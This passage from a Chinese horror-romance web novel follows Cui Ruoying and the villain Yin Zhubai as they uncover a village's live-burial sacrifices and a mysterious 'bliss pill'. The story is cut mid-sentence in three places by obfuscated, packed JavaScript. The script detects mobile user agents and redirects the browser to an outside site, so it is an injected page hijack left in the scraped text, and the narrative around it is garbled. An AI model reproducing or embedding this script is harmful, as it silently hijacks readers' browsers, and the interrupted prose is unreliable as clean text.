正说着,天上飞过一只破破烂烂的风筝。 那风筝也不知从何处吹来的,已经脏得看不出原本的样子,像是灰色的幽灵一般,被乱流卷着,掠过阴沉沉的天空。 崔若盈道:“就像那只风筝,多么可怜?” 殷逐白看看风筝,再看看她,倏然一笑。这抹灿烂得好像带着金光一样的笑容,给蝴蝶黑色的翅膀涂上了一层细细的鳞粉。 他伸手拉住她的手臂。 隔着一层衣服,两人没有直接的身体接触,不过崔若盈仍旧能感受到他掌心冰冷的温度。 “放心好了,崔姑娘。”他的语气倒是很淡,“我会拉紧你的风筝线的。” 8. 他们的名字 眼看着一场暴雨即将到来,内河村家家户户紧闭门扉,路上也没什么人,村中弥漫着惊人的冷寂。 迎着风走出去十几步,就听到锯木头、钉钉子的声音随风从前方飘过来。 那声音“笃笃笃”地响个不停,好像有人正在打造什么家具。 两人对视一眼,一同朝着声源处走去。走了几步,街边就出现了一扇和墓碑差不多颜色的黑灰色大门。 门没有关严,被风吹着,敞开了一条一人宽的缝。门板扇动,几道敲击的杂音从门缝中传出来,又飞快地混入风中,消失不见。 崔若盈站在门口,顺着缝隙朝内望去。 门后是一处庭院,院子里歪歪扭扭地堆着几口棺材。黑色的棺木重重叠叠地堆在一处,形成一个不祥的黑影,在阴风中显得更为渗人。 一个穿着蓝色粗布衫的人坐在那堆棺材中间,正用手中的锤子奋力敲击着几块黝黑的木板,好像是要将它们组合在一起。 这是在……制作棺材? 内河村规模大,村民富裕,有一家棺材铺倒也不稀奇。 尽管这么想,在满是阴翳的天空的衬托下,敲击钉子的声音仍多了几丝不同寻常的诡谲。 崔若盈后退半步,想和殷逐白讨论一下那些棺材。正在这时,门内却突兀地响起一道粗粝的声音。 “定做棺材的?” 再抬眼一看,那个穿着蓝色粗布衫的中年人已经快步走到门口,一双眼中泛着和陈有文如出一辙的审视光芒。 内河村的人的眼神总是很奇怪。 无论他们的眼睛是清澈还是浑浊,无论他们的态度是友善还是恶意,在他们的双眼之中,总酝酿着一种深沉如阴云的冰冷之意。 就好像他们不是人类,而是一群伪装成人类的野兽——当有人侵入他们的领地时,野兽的眼中就会迸射出此种冷酷的光辉。 崔若盈避开他的目光,解释道:“呃,我们是来这边借宿的,不买棺材。” 棺材匠扯扯嘴角:“没关系,不买也可以看看,反正总有一天能用得上。” 这话说得,也太怪了。 崔若盈本想拒绝,却感觉攥着她手腕的那只手掌紧了紧。 她侧过身去看殷逐白,他神色疏朗,好像对什么都没有防备,只有薄唇抿得紧紧的,嘴角含着的微笑中,也透露出几分难见的探究意味。 “那我们就去看看吧。” 他轻轻开口,一边说,一边拉着崔若盈的衣袖走进那扇墓碑一般的厚重大门,那动作端庄,好像正牵着她走向坟墓。 就像崔若盈在门外看到的那样,不大的庭院里堆满了棺材。 这些棺材材质都是松木、柏木的,上面光秃秃的,没有图案,除了大小以外,款式也没有任何区别,好像是流水线批量生产出来的东西。 见两人进来,棺材匠坐回原来的位置,捡起地上的钉子。 敲击声再次响起。崔若盈目光落在棺材匠的手上,他注意到他手里正在制作的棺材更小,像是小孩子的棺材。 棺材已经制作完大半,棺材匠只需要将单个的棺材板用钉子组装起来。 崔若盈看他摆弄着这些板子,无意间看到棺材的一角刻了个名字。 “赵、赵二武?” 这是那个死去孩子的名字? 察觉到她的视线,棺材匠动作一顿,面无表情道:“村东赵家孩子死了。” 说起这句话时,他语气没有任何变化,丝毫没有为一条生命的逝去而感到悲悼,只有理所应当的漠然。 也许是见惯了生死吧。 可更令崔若盈不寒而栗的,是他语气中隐隐透露出的喜悦和如释重负,就好像暗青色海面上,嗜血鲨鱼露出的背鳍,悄然诉说着一场即将到来的危机。 崔若盈捏着殷逐白衣袖的手不自觉地收紧了些,于是他的衣袖上,就浮起连绵群山一般的褶皱。 敲钉子的声音急促地响着,倏然间又决绝地停下。 一口标准得不能再标准的棺材制作完成,棺材匠将它的盖子合上,忽地转过身,用眼睛觑着两人。 “对了,还没问你们两位的名字?” 崔若盈没有说话。 殷逐白则保持着彬彬有礼的态度:“在下崔白烛,这是我妹妹崔若盈。” 内河村位于交通要道,消息灵通,肯定知道这附近姓“殷”的多出自除妖世家殷家。为了避免打草惊蛇,殷逐白只能暂时和崔若盈姓了。 反正“殷逐白”也并非他真正的名字,想来他也不在意。 棺材匠“哦”了一声。 然后,他开始抛光另一块木板。刨子刮蹭木板的声音响起,木屑像是雪一样落下。 崔若盈看着那块木板,恍然觉得那是给自己量身打造的棺材。 “妹妹。”殷逐白的声音让她回过神,“我们该走了。” 这棺材匠虽然奇怪,但还真没什么异常,他们还要探查内河村,不能把时间都浪费在这个棺材铺里。 崔若盈点点头,对棺材匠扯出一个灿烂的笑:“谢谢老伯,我们走了。” 棺材匠闷头抛光棺材,好像没听到她的话一样,头都没抬。 崔若盈:“……”算了,走吧走吧。 她拉住殷逐白的衣袖,两人一起走出院子。走了老远,还能听到抛光木板发出的粗糙声响。 “他不太对。” 走出去一段路,殷逐白开了口。说话时,他没有看着崔若盈,只是眺望着前方群山狰狞的阴影。 一阵大风吹来,两人经过一棵垂柳。垂柳狂乱地摇摆着,柳枝从崔若盈脸上拂过,带来一阵苦涩的清香。 “嗯?”崔若盈歪歪头,躲开摇动的柳枝,“哪里不对?” 殷逐白道:“芦州一带最忌讳在棺椁上钉钉子,认为钉子会捆住死者的魂灵,让其不得安宁。内河村位于芦州境内,应该也有这种忌讳才对。” “这样说来,确实有些奇怪。而且你注意到没有,他院子里还堆着不少棺材。内河村有这么多死人吗?” 内河村那些消失的人尸体还没找到,应该用不着这么着急制作棺材吧? 正说着,两人面前出现了一座石桥。石桥看着有些年头,桥面已经被风雨磨成了暗沉的灰白色。 凑近护栏向下俯视,就能看到一条小河从桥下流过。河水涛涛,水面被大风吹得皱起,在阴云的映射下闪耀着灰色的波光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她的嗓子已经哭哑,尾音消散在呼啸的风中,可那个名字就像是最锋利匕首反射的寒光,在崔若盈脑海中一闪而过。 二武? 崔若盈瞬间想起,棺材匠刚做完的那口棺材,正是属于一个叫做“赵二武”的孩子。 赵二武不是死了吗? 可看他的样子,活蹦乱跳,没病没灾,健康得很。难道那棺材匠还能未卜先知,知道赵二武要死? 正想得出神,崔若盈感觉自己拉着的手臂动了动。她回过神,才发现在这一瞬间,那些嘈杂的争吵声都消失不见了。 抬眼一看,村长陈有文不知何时站在了两人前面不远处。 他的面皮不自然地抽动,正死死盯着两人,眼中尽是冷芒。 刚刚还在争执的妇人、孩子以及那三个男人,此时都安安静静地退到一边,低垂着头,全无刚才的歇斯底里。 “两位怎么到这里来了?”陈有文装似友善地笑了笑,“刚才让你们看笑话了。” “我们就随便逛逛。”崔若盈用眼角瞄了眼那几个人,“村长老伯,他们……不要紧吧?” “呵呵,能有什么要紧的?夫妻吵架而已。” 陈有文用拐杖点了点地,轻描淡写地解释了一句,随即不着痕迹地转移了话题。 “天马上黑了,看起来晚上有暴雨,两位没什么事的话,还是早点回去休息比较好。” “嗯嗯,我们这就回去。” 看这些村民一脸戒备,崔若盈知道再走下去也打听不到什么了。 而且天色确实阴沉得可怕,还是趁着下暴雨之前回陈三婶家吧。 9. 雨夜,湿漉漉的他 回到陈三婶家时,天光已渐渐消隐,路边的房屋、树影,在黯淡的灰蓝色暮色中,只剩下一个个粗糙的暗影。 陈三婶为两人准备了一些饭菜。 在摇曳的烛火下,这些卖相不错的饭菜上泛着一种不自然的油光,再配合上屋外呼号的风声,这房间中的一切都显得怪异无比。 崔若盈坐在凳子上,犹犹豫豫地端着饭碗。饭菜的香气刁钻地钻进她的鼻腔,却让她心中更为不适。 她不知道该不该吃这些饭菜。 “怎么,怕下毒?” 陈三婶站在摇曳的烛火旁。她的影子被火光拉得很长,几乎填满了整个房间,而她的声音,比那巨大的影子还要冷酷刻薄。 此言一出,崔若盈更不想吃了。 她绷紧嘴角,大脑飞速运转,试图想个借口不吃饭菜。 还没等她想好借口,边上的殷逐白就开口说话了。 “三婶说笑了,她只是太娇惯了,挑食。” 说着,他若无其事地挽起衣袖,夹了一筷子不知什么肉。 烛光映在他的手臂上,勾勒出骨骼和肌肉的轮廓,浓重近乎墨色的影子将崔若盈包裹起来。 她盯着他突出的腕骨,就这么看着他将那来历不明的饭菜送入口中,过程中没有一丝迟疑。 陈三婶点点头,看了崔若盈一眼:“原来只是吃不惯我这儿的粗茶淡饭,算了,爱吃不吃吧。” 烛光中,那巨大像是怪兽的影子如潮水般退去了。陈三婶离开了房间,脚步声渐渐远去。 崔若盈走过去,朝门外张望了一眼,见陈三婶真的走了,她才回过神,紧张地看向殷逐白。 “殷家主……”她压低声音,用气音道,“你,你真吃了?” 殷逐白放下筷子,用手帕按了按嘴角,轻描淡写道:“你害怕?” “我不是害怕,我只是……你想想,如果明天我们一早醒来,发现自己睡在乱葬岗,而今晚吃的饭菜都是癞蛤蟆、蜈蚣……” 崔若盈故意用很夸张的语气说道。 “又或者,那些失踪的人是被陈三婶做成了人肉包子,而我们,哦不,你吃的就是……” 一边说着,她一边侧头去看殷逐白的神色。 崔若盈承认,她说这些,确实有点故意恶心殷逐白的想法在。 可惜的是,兴许是伪装时间太长了,谦谦君子的面皮几乎焊在了殷逐白的脸上,让他永远都是一副波澜不惊、滴水不漏的模样。 他不仅没被恶心到,反而像是包容不懂事的小孩子一样,包容了她这个小小的恶劣行为。 “崔姑娘,你真有趣。” 他抬起头,冲她温柔地笑了笑。那笑容像是辉煌天光,冲破了所有阴霾。 “放心,这些饭菜没问题,不是癞蛤蟆和蜈蚣变的,也不是什么人肉包子。你饿不饿,也吃一点吧?” 崔若盈只觉得一拳打在了棉花上,心中倏然升起一股郁闷来。 看看殷逐白这温柔的圣父模样,再瞧瞧他那【-12】的好感度,这种表里不一的家伙,她真想照着他的脸给他一拳。 可惜,打不过,所以只能想想了。 崔若盈怏怏不乐地坐回去,吃了点饭菜——她本来真不想吃的,但是这菜还挺香,她也是真饿了。 反正殷逐白说没问题……应该,大概没事吧? 崔若盈夹菜的时候,殷逐白正在观察着她。 他很少这样仔细地观察一个人,但他确实很喜欢观察崔若盈。 观察她说话,观察她恶作剧,再观察她因恶作剧失败而郁闷的模样。 他觉得她有趣。 她不是插在瓶子里精致的鲜花,而是路边最鲜活的野草。若是贸然伸手去摘她,锋利的草叶也许会割破他的手掌,在上面留下猩红的血痕。 殷逐白下意识地攥紧手掌。 苍白的掌心很干净,没有狰狞的血痕,却好像仍有奇异的刺痛感传来,那痛感一阵一阵,如同海潮冲刷着他的掌心。 “崔姑娘。” 他忽然开口。 “嗯?” “如果我现在告诉你,饭菜里其实有毒呢?” 崔若盈愣住:“啊?” 她放下碗筷,认真思索了两秒。 “那没办法,我们只能共赴黄泉了。不过我想不会出现那种情况。” “因为崔姑娘相信我的判断?” 崔若盈言不由衷:“对,我相信殷家主。” 才怪。 她只是觉得,殷逐白这阴暗批绝对不会让自己交代在这儿。 至于她自己嘛,系统商城里有万能解毒丹,除了价格贵了点,什么毒都能解,所以她也不会死。 显然,殷逐白自动把她的话曲解成了另一个意思。 “相信……” 她相信他。准确来说,是相信那个光明磊落、久负盛名的殷逐白。 但他不是。 那个殷逐白,只是月光落在水面时,被反射出的明亮虚影。 无论虚影多么美丽、多么绚烂、多么波光粼粼,但当她为了那轮虚幻之月而主动跃入水中之时,一切虚幻的美丽都会支离破碎,等待她的,只有黑暗冰冷的真相。 她会为她的这份信任付出代价。 【殷逐白对您的好感度下降了】 崔若盈虎躯一震。 不是?这是干什么? 她说错什么话了吗? ……算了算了,她早就知道殷逐白这家伙不讲道理,她是搞不懂他在想什么。 崔若盈满心郁闷地吃完饭,两个人各自回房休息。 回自己房间的路上,夜空中传来沉闷的雷声,抬头朝着天际看去,就能见到云与云的夹缝间,催生出一种带着恶意的血红色。 没有下雨。但暴雨前的阴沉天空,总是比暴雨要可怖得多。 崔若盈回到房间,简单洗漱后和衣而睡。 不过她心里始终对陌生的环境,以及住在对面耳房里的反派心怀戒备,所以睡得也不安生,还做了噩梦。 梦中她好像变成了一叶孤舟,在暗青色的海面上行驶。 周围没有光,只有一片黑暗,海水沸腾似的上下涌动,紫红色的电光尖刻地划破长夜,海风高亢地鸣叫。 轰!! 雷车碾过天地之间,暴雨哗然而落,点点水滴落在崔若盈的脖颈上,在她白皙温暖的皮肤上流连。 崔若盈豁然惊醒! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640474|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一闪而过的电光照亮了不算大的房间。在风暴挤压窗户发出的“吱呀”声响中,她看到一道人影站在自己的床头。 那人影是黑色的,如同暗夜的幽灵一般,静静地凝望着她。 他一动不动,雨水从他的发间滴落,那声音如此细微,落在崔若盈耳中,却带起一片巨响。 崔若盈感觉呼吸一窒,一只手下意识地摸向身侧,摸到了睡前被她放到身边的短刀。 冰凉的刀柄让她心中安定了几分。崔若盈直起身,恰好又有一道闪电闪过,借着雪亮的电光,她终于看清了那道黑影的面容。 是殷逐白。 他伫立在震耳雨声中,夜晚的暗影勾勒出他苍白的脸,让他看上去像是永远存在于地下世界的一块阴冷石头,没有情绪,任人雕琢。 雨水沿着下颚流淌,潮湿的衣裳紧紧贴在他身上,勾勒出这块黑色岩石的模样。 他就这样湿漉漉地站着,薄唇轻轻抿起,谁也猜不到他到底在想些什么。 崔若盈睁大眼:“殷……” 殷逐白把一根手指伸到她面前,比了个“嘘”的手势。 动作时,几点雨水顺着他的手臂滴落在崔若盈的锁骨上。 很凉,雨水凉得就像他的体温。 崔若盈不由自主地瑟缩了一下,这才掀开被子坐起身。幸好,她对今夜这番场景隐约有所预料,衣服还好好穿在身上。 抽空看了眼系统面板上的时间——凌晨一点半。 夜色浓重如墨,暴雨将夜晚的一切声音都吞噬殆尽,密密麻麻地敲击着世间。殷逐白站在一边,轻轻道:“你听。” 崔若盈刚套上外套,闻言侧耳细听,便听到在哗然的雨声中,传来隐隐约约的争吵声。 “有人吵架?这个时候?” 崔若盈疑惑地走到窗前,殷逐白见状跟上。路过梳妆台时,他的身影被映在模糊的铜镜中,看着就像是一团氤氲的黑雾。 把窗户推开一条缝,暴雨就被狂风卷着,毫不留情地刮进来。 崔若盈把眼睛凑到窗缝边上,视线穿过疾风暴雨。 陈三婶家离村长家很近,从她房间看过去,正好能看见村长家的院子。 那说话声就是从村长家院子里传来的。顺着黑暗看过去,有两个昏黄的光点在闪烁。 是灯笼。 只是风太大,那柔弱的灯火明明灭灭,总也看不真切。同灯火一样时明时灭的,还有雨中的争执声。 “你干的这是什么事?说了多少遍,必须是活人!活人!” 一个熟悉的苍老男声,在暴雨中显得有些失真。 “是村长。” 殷逐白的声音从崔若盈耳后传来。崔若盈回过头,只见他正站在她身后,垂眼透过窗户缝隙,看着外面的场景。 潮湿的黑发如瀑布般垂落,绕在崔若盈的身上,他身上冰冷冷的水汽弥漫,包裹着她的身体,几滴水顺着蛛网一般的发丝,落在了崔若盈的脸上。 崔若盈抬手擦掉水滴,但那股阴冷感仍旧滞留在她的脸上,无论如何都擦不去。 “崔姑娘,你很冷吗?” 殷逐白突然问道。他这样一说,崔若盈才发觉自己正在发抖。 10. 崔姑娘,你真倔强 她在颤抖。 不知是因为冷,还是因为其他的什么。 崔若盈的发丝随着这阵颤抖而轻柔地颤动着,电光时而透过窗纸照在她的脸上,给她的鼻尖铺上了一层细细密密的光。 “我没事。” 崔若盈默了默,强迫自己忽略那阵隐隐约约的冷意,把注意力转移到雨中那两道人影上。 这一看,她忽然有了发现。 “一个是村长,另一个……好像是今天街道上和人争执的那个女人?” 崔若盈对那个妇人印象深刻,听了一会儿就辨认出了她的声音。 可惜她的房间距离那两点灯火有一段距离,那些声音穿过雨幕,显得隐约又含糊,崔若盈只能听到断断续续的几个字。 不过他们大半夜不睡觉,冒着雨站在院子里吵架,肯定是发生了什么不寻常的事。 崔若盈抬起头,明亮的眼中倒映出殷逐白的模样。 几缕黑色的秀发湿漉漉地贴在他的额头上,一眼望过去,他好像刚从水中爬上来,想要夺人性命的艳丽水鬼,浑身都散发着危险的气息。 在浓黑夜色的衬托下,他总算有了几分原著中心黑手狠、坏事做绝的阴暗批大反派的样子。 不知道怎么回事,看到他这番模样,崔若盈反而有些欣慰起来。 崔若盈停顿一下,挪开视线:“殷家主,我们过去看看吧。” 殷逐白点头:“好。” 两人悄无声息地出了门,钻入珠帘一般的暴雨之中。 出门的瞬间,檐上落下的雨水就毫不迟疑地钻入崔若盈的衣裳,刺骨的冷意让她打了个寒颤。 好冷。 早春的夜晚总是冷的。这一场春日的暴雨中,好像还裹着未曾化尽的冬雪,残酷无情地吞噬着她的体温。 殷逐白侧头看向她。 他的目光很奇怪,像是带着充盈的兴趣,又像是惊讶、意外。 但他的语气,却温和如春风。殷逐白看着崔若盈,再次问道:“崔姑娘,你很冷?要不回去等着,我一个人去吧。” 回去? 好感度本来都是负的了,她这时候回去,恐怕反派的好感度又要叮叮咣咣扣个不停。 崔若盈攥了攥手掌,一边忍受着刺骨冷意,一边扭头对殷逐白露出一个灿烂的笑容:“我没事,殷家主,我们快走吧。” 那笑容就像是早已安排好的,如同浓丽春日天空上挂着的暖阳。 可温暖的太阳,根本不该出现在下着暴雨的夜晚。 殷逐白轻轻叹道:“崔姑娘,你真倔强。” 他说过不少假话,唯独这句话绝对发自真心。 可惜暴雨的震鸣声太大,淹没了一切声响。崔若盈一直注意着远处,没听到这句轻柔的呢喃。 她裹紧衣裳,走进暴怒的雨中。 雨水冲刷着天地,衣裳被雨浸透,紧紧的包裹在她的身体上,橙色的衣裙透露出夕阳般的刻薄绯色,像是日落前天地间的最后一抹幻影。 走得近些,那灯火终于透过薄薄的缠绕着轻纱的骨架,在雨夜中显露出分明的光。 崔若盈借着高高的院墙挡住身体,殷逐白则是站在她身旁。 他无需过多隐藏,就能完美地融入暗雨之中。也许殷逐白本人,就是黑夜和暴雨的化身。 “还真是他们。”崔若盈探出半个头,偷偷观察着村长家的院子。 村长陈有文拄着拐杖,背对着两人所在的院墙,正在厉声呵斥着妇人。 妇人满脸恳求,手里的灯笼也像是她不安的心情一般,摇摇晃晃,照亮了周围一小片区域。 崔若盈看见她脚下躺着一口棺材。棺材小小的,棺盖斜斜地敞开着,露出里面苍白安静的一角。 那里面躺着一个人。 崔若盈擦了擦眼睛,又仔细看了看,随即压低声音:“可能是那个叫赵二武的孩子。” 殷逐白道:“屋檐下还有人。” 崔若盈被他提醒,才注意到屋檐下真站了四个人,从身形看,应该都是身强力壮的中年汉子。 “不管你同不同意,人已经死了!”恳求几句,见村长一直无动于衷,那个妇人歇斯底里地尖叫起来,“我掐死他,就是不想让他活受罪!没别的办法!” 陈有文训斥道:“人人都像你这么做,岂不是坏了规矩?” 檐下几个男人见状,走过来劝二人。过了好一会儿,陈有文才算消了气:“时辰快到了,来不及换人,先这么将就着吧。” 此言一出,妇人如蒙大赦。几个男人也松了口气,将棺材钉死后抬了起来。 最终由村长在前面举着灯笼照明,那妇人跟在最后,一行人钻进乌黑的夜色之中。 崔若盈一直躲在边上,把众人的对话听了个大概,心里也有了猜测。 内河村可能在搞活祭之类的东西,必须把活人钉在棺材里,今天正好选中了赵二武。这妇人,也就是赵二武的娘不忍他活着受折磨,于是偷偷将其掐死。 但这件事被村长发现,两人这才争执起来。 见这群人要走,崔若盈抓住殷逐白的袖子,两人一同跟上。 黑夜完美地挡住两人的身影,雨声更是吞噬了行动产生的杂音。 崔若盈抹了把脸上的雨水,和殷逐白一起不远不近地跟在众人身后。 迈过一处水洼,两人的脚步声被同样的雨声吞没,倒是出人意料地和谐。 一路上殷逐白都没有出声,只是顺从地被她牵着衣袖。 崔若盈时不时回头看他一眼,觉得反派乖巧顺从的时候,也有种偶人般的独特美感。 正出神地想着,瓷白的偶人忽然活了过来,伸手拽住她:“崔姑娘,别走了。他们停下来了。” 崔若盈抬头一看,村长他们果然停到了不远处。 双方中间正好隔了一座桥——就是内河村那座斑驳古老的石桥。 桥对面的垂柳在风中张牙舞爪地飞扬,一行人从张狂的树影下走过,又走了十几步,最终停在了街道左侧一户人家门口。 崔若盈皱眉。 白天她和殷逐白刚过桥,就被陈有文发现,只能停止继续探查,所以不知道东边的具体情形,对这宅子更是一点印象都没有。 那群人站在宅子门口,似乎商量了几句,陈有文就推开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640475|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大门。一行人抬着棺材,走进了房子里。 “有妖气。” 殷逐白淡淡开口,目光穿过雨帘,眺望着那座房屋黑色的轮廓。 崔若盈也感觉到了。 她的力量进入《除灵伏妖录》世界的时候,就被自动转化成了灵力,所以也能感知到妖气的存在。 白天的时候,内河村一直很正常,就是刚刚那群人进入宅子的时候,才有一缕妖气泄露出来。 看来,内河村的秘密就被藏在这宅子里了。 一行人的身影消失在宅子里,大概过了一分钟,宅子内猛然传来一声轰鸣。 这声音就像雷电一般,划破寂寞长夜,响彻云霄。与此同时,妖气如同山洪暴发,将陈有文等人猛地甩出宅子。 连同装着赵二武的棺材也被扔了出来。棺木重重地砸在地面上,里面的尸体从棺材中跌出来,软趴趴地俯趴在泥水中。 很明显,因为内河村这次送来的是死尸而非活人,“它”生气了。 陈有文等人狼狈地从地上爬起来,冒着雨快步离开,宅子附近又只剩下一片寂静。 崔若盈站起身,想要走到那宅子附近,看看情况。可刚走一步,她的手腕就被另一只有力的手攥住。 “崔姑娘。” 殷逐白攥紧她的手。 皮肤与皮肤毫无阻碍地接触,翻腾的雨水顺着她的手,裹挟着她的温度,落到他的手上。 他素来不爱和人有直接接触。 别人的触碰,好像能够轻易穿破他儒雅的皮囊,接触到他更深更黑的内里。殷逐白不喜欢,甚至厌恶这种感觉。 这种厌恶反而让他更敏锐地感知到崔若盈的体温。 那是一种并不灼人的温度,却比烧红的炭火还要灼人,足够将一个心怀恶意的人烧成灰烬。 在那温度抵达他的灵魂之前,殷逐白心中陡然生出一阵报复般的杀意。 她的手腕那么细。 好像他只要轻轻用力,脆弱的骨骼就会如树枝一般折断。 到时候,洁白如雪的骨茬会刺破她薄薄的皮肤,黏腻刺眼的鲜血则是在雨水中涌流,而她脸上的表情一定很有趣。 他想杀她。 但崔若盈是个有趣的人。和她的有趣相比,这种有意思的死法都显得乏味无趣了。 殷逐白决定忍耐一下。 “崔姑娘,刚刚的声音太大,内河村的人肯定都被惊醒了。陈三婶说不定会确认我们的情况,我们还是先回去比较好。” 殷逐白一口气把想说的话说完,而后垂下湿漉漉的眼睛。 当视线触及到两人皮肤相触之处,他眼睫像是蝴蝶翅膀般颤动一瞬,手掌不自觉地松开了。 “抱歉。” “没关系,我觉得你说得对!”崔若盈压下心里的怪异感,露出招牌式的明媚笑容,“我们快走吧,最好赶在陈有文之前回去。” 殷逐白“嗯”了一声。 雨水落在他身上,他藏在身后的那只手上,仍旧残留着她的体温,无论雨水多么冰冷,都驱之不散。 这缕模糊又倔强的温度,倒让他有些无所适从起来。 11. 将她拉入黑暗中 几乎是跑着回到陈三婶家,前脚刚翻窗回到房间,后脚门外就响起凌乱的敲门声,连门板都跟着剧烈震动起来。 “崔姑娘?你在不在?” 崔若盈心如鼓擂。她平息了一下因奔跑而混乱的呼吸,这才开口道:“是陈三婶吗?我在睡觉呢,出什么事了?” “哦,没什么事。”敲门声停了下来,“我们内河村的打雷声比较大,担心你一个人害怕。行了,你继续睡吧。” 崔若盈含糊地应了一声,却没有转身上床。她走到门口,将耳朵贴在门板上。 门外传来两个人嘀嘀咕咕的说话声。那声音不算大,被暴雨掩盖,更是微不可闻。不过崔若盈紧贴着门板,离得近了,也能听到个大概。 “你还不动手?”居然是村长的声音。 他的声音低沉又嘶哑,说话的时候,往往会带着歇斯底里的气音。 陈三婶忍了忍,还是道:“你等会还是要吃那极乐丸?那不是什么好东西!” 极乐丸?崔若盈眉心一动,立刻想起了在村口时捡到的那瓶“仙丹”。 “你难道不想再见你女儿一面?” 村长阴沉的声音即刻响起。他的语气中,带着浓重的威胁之意。 “你吃不吃我不管,但是这两个人必须送上去,不然我们整个村子都会受责难。你好好想想吧。” 沉沉的脚步声踩上水洼,从近处渐渐飘远,幽寂的夜晚,只有雨声在内河村上方回荡。良久,门板那头才传来一声幽幽的叹息,另一道脚步声也随之远去。 估摸着村长和陈三婶都走了,崔若盈才将门板拉开一条缝,像是小动物一样,谨慎地扫了眼外面。 见没有人,她从窄窄的门缝中灵活地游出来,行动间衣裳飞舞,像是一条轻盈的美丽金鱼。 崔若盈偷偷出了门,朝着村长家奔去。两家离得很近,没走几步,村长家绰绰的灯光就映入她的眼帘。 摇曳的烛火拉长村长的怪影,让他苍老佝偻的躯壳更像是畸形怪异的怪物。金红色的烛光刺穿薄薄的窗纸,窗棂的影子印在崔若盈白皙的皮肤上。 崔若盈眯了眯眼,在窗纸上戳出一个洞,朝着里面看去。 村长正侧坐在一张木桌前,边上放着拐杖。他垂着头,神情晦暗地盯着手中的东西——崔若盈注意到,那是一个小药瓶。 在烛光里,小药瓶的表面泛着肌肤一般细腻的光泽,仿佛在引诱着谁,让人想要摸上一摸。 村长就像摸着情人的脸一般,温柔地抚摸着它,眼中也露出迷醉的神色。他打开瓶塞,将一粒褐色药丸倒在自己粗糙的掌心。 那药丸比崔若盈想象中要小。 村长拿着它,就好像拿着一块免死金牌,脸上的表情近乎虔诚。崔若盈屏气凝神,观察着他的动作,只见他缓缓抬起手…… 咣!! 不知什么东西被大风吹倒,发出一道沉重的哀鸣。陈有文立刻警觉,他将药丸放在桌上,随手拿起手旁的拐杖,朝着门外走来。 不好!! 崔若盈心头一跳,扭头寻找可以躲藏的地方。 下一瞬间,一只手从房屋与房屋之间的黑暗缝隙里伸出来,拉住她的衣领。 那苍白冰冷的手,如同黑夜探出的触角,又带着令人难以违抗的巨力,陡然将她拖入黏稠的黑暗之中。 崔若盈下意识想要反抗,却听黑暗中,像是风吹琴弦一般的声音徐徐传来。 “是我。” 是殷逐白。 崔若盈心头一轻,紧绷的身体也松了些许。她张了张口,还没等说话,“吱呀”的推门声就在不远处响起。 陈有文走出门,巡视着自己的庭院,最终在屋檐下发现了几片碎瓦。原来那声尖锐的巨响,就是大风吹落屋顶瓦片发出的。 生锈般的开门声再度响起。 陈有文拄着拐杖,回房了。 躲过一劫,崔若盈彻底松懈下来。她抬起头,用含着明锐光芒的眼睛望着他。 平心而论,崔若盈很漂亮。不过比她的漂亮更令人瞩目的,却是她永远亮闪闪的眼睛——这黯淡雨夜中的所有星星,都躲在她眼睛里。 群星在雨中闪烁着。殷逐白放开攥着她衣领的手,因为攥了太久,她潮湿的衣领已经变成皱巴巴的白菜叶了。 “我见你出门,就跟过来看看。” 崔若盈“嗯”了一声:“谢谢啦,殷家主。” 两人躲藏的角落是用来堆放杂物的。因为连绵的春雨,黑暗中散发着一种潮湿的霉味,崔若盈甚至能看到不远处的地上长了几个憨态可掬的小蘑菇。 殷逐白身上淡淡的香味就混杂在这霉味中,奇异地并不令人生厌。 他身上的味道,和两人初见时的不同。 那次的味道明显来自熏香或香囊,华贵古朴,闻着就能让人幻视小楼飞扬的檐角、曲折雅致的回廊,亦或是在那宏伟建筑的衬托下多了几分精巧的日光。 而现在的这种味道,更冷,更特别,也更纯粹。 它不会让人联想到任何其他的东西。闻到它,崔若盈只能想到殷逐白。 那是殷逐白本身的味道。 崔若盈揉了揉鼻子。似乎察觉到了她的动作,殷逐白微微一顿,不动声色地将身体拉远了一点儿。 他的动作很微弱,崔若盈没有注意到。 她拉着殷逐白重新走到窗边,透过偷窥的小孔朝着屋内看去。 陈有文在吃药。 他将那粒小小的丸药放入嘴中,近乎决绝地一吞而下,几秒钟后,他呆立在原地,迷幻的神情骤雨般陡然出现在他的脸上。 随后,他的身体不自觉地痉挛抖动起来,鸡皮似皱起的皮肤也跟着收缩蠕动。 陈有文的表情依旧迷醉幸福,像是做了一个美梦。但这幸福快乐的姿态安在他怪物般失控扭动的身体上,诡异得近乎恶毒。 崔若盈一阵恶寒,只觉得这极乐丸不是什么仙丹,而是引人堕入地狱的魔药。 虽然不清楚它是从哪来的,但仔细想想就知道,极乐丸和那宅子里的东西脱不了干系。 “先回去吧,崔姑娘。” 殷逐白拍了拍她的肩膀,他的动作很轻,仿佛怕吓到崔若盈一般。 “天要亮了。” 他这么一说,崔若盈下意识抬头看了眼天空。 夜晚即将过去,雨也渐渐小了,天空中呈现出浅淡安逸的灰蓝色,凌晨的世界被这层灰蓝色的雾霭笼罩,显得格外清幽。 原来,她已经在雨中奔波了一夜。 